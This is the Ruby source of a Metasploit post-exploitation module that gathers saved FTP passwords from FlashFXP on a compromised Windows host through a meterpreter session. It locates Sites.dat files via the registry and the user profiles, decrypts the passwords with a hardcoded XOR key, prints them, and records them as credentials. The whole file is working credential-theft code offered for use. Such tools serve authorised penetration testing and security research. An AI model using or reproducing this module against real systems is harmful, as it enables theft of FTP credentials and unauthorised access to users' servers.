adfoster-r7
141 lines
3.8 KiB
Ruby
141 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::UserProfiles
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
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'Description' => %q{
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This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
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finds saved FTP connections in the Sites.dat file.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'theLightCosine'],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Compat' => {
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'Meterpreter' => {
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'Commands' => %w[
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core_channel_eof
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core_channel_open
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core_channel_read
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core_channel_write
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]
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}
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}
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)
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)
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end
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def run
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# Checks if the Site data is stored in a generic location for all users
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flash_reg = 'HKLM\\SOFTWARE\\FlashFXP'
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flash_reg_ver = registry_enumkeys(flash_reg.to_s)
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# Ini paths
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@fxppaths = []
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unless flash_reg_ver.nil?
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software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
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generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || ''
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unless generic_path.include? '%APPDATA%'
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@fxppaths << generic_path + '\\Sites.dat'
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end
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end
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grab_user_profiles.each do |user|
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next if user['AppData'].nil?
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tmpath = user['AppData'] + '\\FlashFXP\\'
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get_ver_dirs(tmpath)
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end
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@fxppaths.each do |fxp|
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get_ini(fxp)
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end
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end
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def get_ver_dirs(path)
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session.fs.dir.foreach(path) do |sub|
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next if sub =~ /^(\.|\.\.)$/
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@fxppaths << "#{path}#{sub}\\Sites.dat"
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end
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rescue StandardError
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print_error("The following path could not be accessed or does not exist: #{path}")
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end
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def get_ini(filename)
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config = client.fs.file.new(filename, 'r')
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parse = config.read
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ini = Rex::Parser::Ini.from_s(parse)
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if ini == {}
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print_error("Unable to parse file, may be encrypted using external password: #{filename}")
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end
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ini.each_key do |group|
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host = ini[group]['IP']
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username = ini[group]['user']
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epass = ini[group]['pass']
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port = ini[group]['port']
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next if epass.nil? || (epass == '')
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passwd = decrypt(epass)
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print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
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service_data = {
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address: Rex::Socket.getaddress(host),
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port: port,
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protocol: 'tcp',
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service_name: 'ftp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :session,
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session_id: session_db_id,
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post_reference_name: refname,
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username: username,
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private_data: passwd,
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private_type: :password
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}
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credential_core = create_credential(credential_data.merge(service_data))
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login_data = {
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core: credential_core,
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access_level: 'User',
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status: Metasploit::Model::Login::Status::UNTRIED
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}
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create_credential_login(login_data.merge(service_data))
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end
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rescue StandardError
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print_status("Either could not find or could not open file #{filename}")
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end
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def decrypt(pwd)
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key = 'yA36zA48dEhfrvghGRg57h5UlDv3'
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pass = ''
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cipher = [pwd].pack('H*')
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(0..cipher.length - 2).each do |index|
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xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first
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if ((xored - cipher[index, 1].unpack('C').first < 0))
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xored += 255
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end
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pass << (xored - cipher[index, 1].unpack('C').first).chr
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end
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return pass
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end
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end
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